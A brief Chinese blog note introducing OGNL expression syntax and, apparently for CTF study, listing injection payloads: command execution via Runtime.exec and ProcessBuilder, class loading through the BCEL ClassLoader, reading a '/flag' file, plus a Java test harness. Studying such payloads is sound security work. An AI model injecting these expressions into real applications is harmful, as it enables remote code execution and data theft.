浅看OGNL
ONGL
@获取静态对象、静态方法、静态变量
@java.lang.Runtime@getRuntime().exec('calc')
#非root用户获取对象
context.put("student2", student2);
Ognl.getValue("#student2.name", context, context.getRoot());
new 一个类时,要写完整类名
new java.lang.String("testnew")
%{}
里的是OGNL表达式并计算表达式的值。
$
在配置文件中引用OGNL表达式。
创建MAP:#{key:value,key1:value1...}
创建list {value1,value2...}
!!
命令执行
@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
注意什么时候用@
,什么时候用.
(是否是静态方法)
#实例化时记得先把前面先包起来,再newInstance
(#a=new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$....')).newInstance()
文件读取
(#a=new java.util.Scanner(new java.io.File("/flag")).next())
大体框架
OgnlContext context = new OgnlContext();
// context.setRoot(test);
context.put("user",user);
// //表达式
String express = "(#a=@java.lang.Runtime@getRuntime().exec('calc'))";
// String express = "(new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"})).start()";
Object ognl = Ognl.parseExpression(express);
Object value = Ognl.getValue(ognl,context,context.getRoot());
System.out.println(value);
原理
大多是一些ASTXXX (一些语法树)。。。
自己看文章吧
Ref
浅看OGNL
https://zer0peach.github.io/2023/09/12/浅看OGNL/